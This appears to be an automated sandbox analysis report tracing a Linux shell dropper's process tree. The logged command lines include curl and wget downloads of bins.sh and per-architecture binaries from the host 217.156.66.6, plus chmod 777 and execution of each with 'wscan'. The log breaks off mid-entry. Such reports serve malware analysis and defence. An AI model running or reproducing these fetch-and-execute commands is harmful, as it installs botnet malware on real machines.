MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5434, Parent PID: 5432

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Forked

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5436, Parent PID: 5434

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: crontab PID: 5436, Parent PID: 5434

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/usr/bin/crontab
Arguments:	crontab -l
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5437, Parent PID: 5434

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5437, Parent PID: 5434

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod +x bins.sh
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5438, Parent PID: 5434

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5438, Parent PID: 5434

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	sh bins.sh
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5439, Parent PID: 5434

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: curl PID: 5439, Parent PID: 5434

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/bin/curl
Arguments:	/bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh
File size:	239848 bytes
MD5 hash:	add6bc2195e82c55985ccf49fd4048e6

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5471, Parent PID: 5434

General

Start time (UTC):	12:08:12
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5471, Parent PID: 5434

General

Start time (UTC):	12:08:12
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod +x bins.sh
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5434, Parent PID: 5432

General

Start time (UTC):	12:08:12
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	sh bins.sh
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5472, Parent PID: 5434

General

Start time (UTC):	12:08:12
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5472, Parent PID: 5434

General

Start time (UTC):	12:08:12
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/armv4l
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5473, Parent PID: 5434

General

Start time (UTC):	12:08:15
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5473, Parent PID: 5434

General

Start time (UTC):	12:08:15
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 armv4l
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5474, Parent PID: 5434

General

Start time (UTC):	12:08:15
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5474, Parent PID: 5434

General

Start time (UTC):	12:08:15
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./armv4l wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5475, Parent PID: 5434

General

Start time (UTC):	12:08:15
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5475, Parent PID: 5434

General

Start time (UTC):	12:08:15
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/armv5l
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5480, Parent PID: 5434

General

Start time (UTC):	12:08:22
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5480, Parent PID: 5434

General

Start time (UTC):	12:08:22
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 armv5l
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5481, Parent PID: 5434

General

Start time (UTC):	12:08:22
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5481, Parent PID: 5434

General

Start time (UTC):	12:08:22
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./armv5l wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5482, Parent PID: 5434

General

Start time (UTC):	12:08:22
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5482, Parent PID: 5434

General

Start time (UTC):	12:08:22
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/armv6l
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5502, Parent PID: 5434

General

Start time (UTC):	12:08:25
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5502, Parent PID: 5434

General

Start time (UTC):	12:08:25
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 armv6l
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5503, Parent PID: 5434

General

Start time (UTC):	12:08:25
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5503, Parent PID: 5434

General

Start time (UTC):	12:08:25
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./armv6l wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5504, Parent PID: 5434

General

Start time (UTC):	12:08:25
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5504, Parent PID: 5434

General

Start time (UTC):	12:08:25
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/armv7l
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5507, Parent PID: 5434

General

Start time (UTC):	12:08:26
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5507, Parent PID: 5434

General

Start time (UTC):	12:08:26
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 armv7l
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5508, Parent PID: 5434

General

Start time (UTC):	12:08:26
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5509, Parent PID: 5434

General

Start time (UTC):	12:08:26
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5509, Parent PID: 5434

General

Start time (UTC):	12:08:26
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/i486
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5510, Parent PID: 5434

General

Start time (UTC):	12:08:27
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5510, Parent PID: 5434

General

Start time (UTC):	12:08:27
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 i486
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5511, Parent PID: 5434

General

Start time (UTC):	12:08:27
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5512, Parent PID: 5434

General

Start time (UTC):	12:08:27
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5512, Parent PID: 5434

General

Start time (UTC):	12:08:27
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/i586
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5516, Parent PID: 5434

General

Start time (UTC):	12:08:31
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5516, Parent PID: 5434

General

Start time (UTC):	12:08:31
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 i586
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5517, Parent PID: 5434

General

Start time (UTC):	12:08:31
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5517, Parent PID: 5434

General

Start time (UTC):	12:08:31
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./i586 wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5518, Parent PID: 5434

General

Start time (UTC):	12:08:31
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5518, Parent PID: 5434

General

Start time (UTC):	12:08:31
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/i686
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5521, Parent PID: 5434

General

Start time (UTC):	12:08:36
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5521, Parent PID: 5434

General

Start time (UTC):	12:08:36
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 i686
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5522, Parent PID: 5434

General

Start time (UTC):	12:08:36
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5522, Parent PID: 5434

General

Start time (UTC):	12:08:36
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./i686 wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5523, Parent PID: 5434

General

Start time (UTC):	12:08:36
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5523, Parent PID: 5434

General

Start time (UTC):	12:08:36
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/m68k
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5545, Parent PID: 5434

General

Start time (UTC):	12:08:38
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5545, Parent PID: 5434

General

Start time (UTC):	12:08:38
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 m68k
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5546, Parent PID: 5434

General

Start time (UTC):	12:08:38
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5546, Parent PID: 5434

General

Start time (UTC):	12:08:38
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./m68k wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5547, Parent PID: 5434

General

Start time (UTC):	12:08:38
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5547, Parent PID: 5434

General

Start time (UTC):	12:08:38
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/mips
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5548, Parent PID: 5434

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5548, Parent PID: 5434

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 mips
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5549, Parent PID: 5434

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5549, Parent PID: 5434

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./mips wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5550, Parent PID: 5549

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5552, Parent PID: 5550

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 5551, Parent PID: 5549

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5553, Parent PID: 5551

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 5554, Parent PID: 5434

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5554, Parent PID: 5434

General

Start time (UTC):	12:08:39
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/mipsel
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5557, Parent PID: 5434

General

Start time (UTC):	12:08:41
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5557, Parent PID: 5434

General

Start time (UTC):	12:08:41
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 mipsel
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5558, Parent PID: 5434

General

Start time (UTC):	12:08:41
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5558, Parent PID: 5434

General

Start time (UTC):	12:08:41
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./mipsel wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5559, Parent PID: 5434

General

Start time (UTC):	12:08:41
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5559, Parent PID: 5434

General

Start time (UTC):	12:08:41
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/powerpc
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5562, Parent PID: 5434

General

Start time (UTC):	12:08:48
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5562, Parent PID: 5434

General

Start time (UTC):	12:08:48
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 powerpc
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5563, Parent PID: 5434

General

Start time (UTC):	12:08:48
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5563, Parent PID: 5434

General

Start time (UTC):	12:08:48
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./powerpc wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5564, Parent PID: 5434

General

Start time (UTC):	12:08:48
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5564, Parent PID: 5434

General

Start time (UTC):	12:08:48
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/sh4
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5565, Parent PID: 5434

General

Start time (UTC):	12:08:49
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5565, Parent PID: 5434

General

Start time (UTC):	12:08:49
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 sh4
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5566, Parent PID: 5434

General

Start time (UTC):	12:08:49
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5566, Parent PID: 5434

General

Start time (UTC):	12:08:49
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./sh4 wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Directory Enumerated

Chronological Activities

Analysis Process: sh PID: 5567, Parent PID: 5434

General

Start time (UTC):	12:08:49
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5567, Parent PID: 5434

General

Start time (UTC):	12:08:49
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/sparc
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5570, Parent PID: 5434

General

Start time (UTC):	12:08:51
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5570, Parent PID: 5434

General

Start time (UTC):	12:08:51
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 sparc
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5571, Parent PID: 5434

General

Start time (UTC):	12:08:51
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5571, Parent PID: 5434

General

Start time (UTC):	12:08:51
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./sparc wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: sh PID: 5572, Parent PID: 5434

General

Start time (UTC):	12:08:51
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: wget PID: 5572, Parent PID: 5434

General

Start time (UTC):	12:08:51
Start date (UTC):	31/03/2025
Path:	/usr/bin/wget
Arguments:	wget http://217.156.66.6/bins/x86_64
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

File Activities

File Opened

File Read

File Written

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh PID: 5575, Parent PID: 5434

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
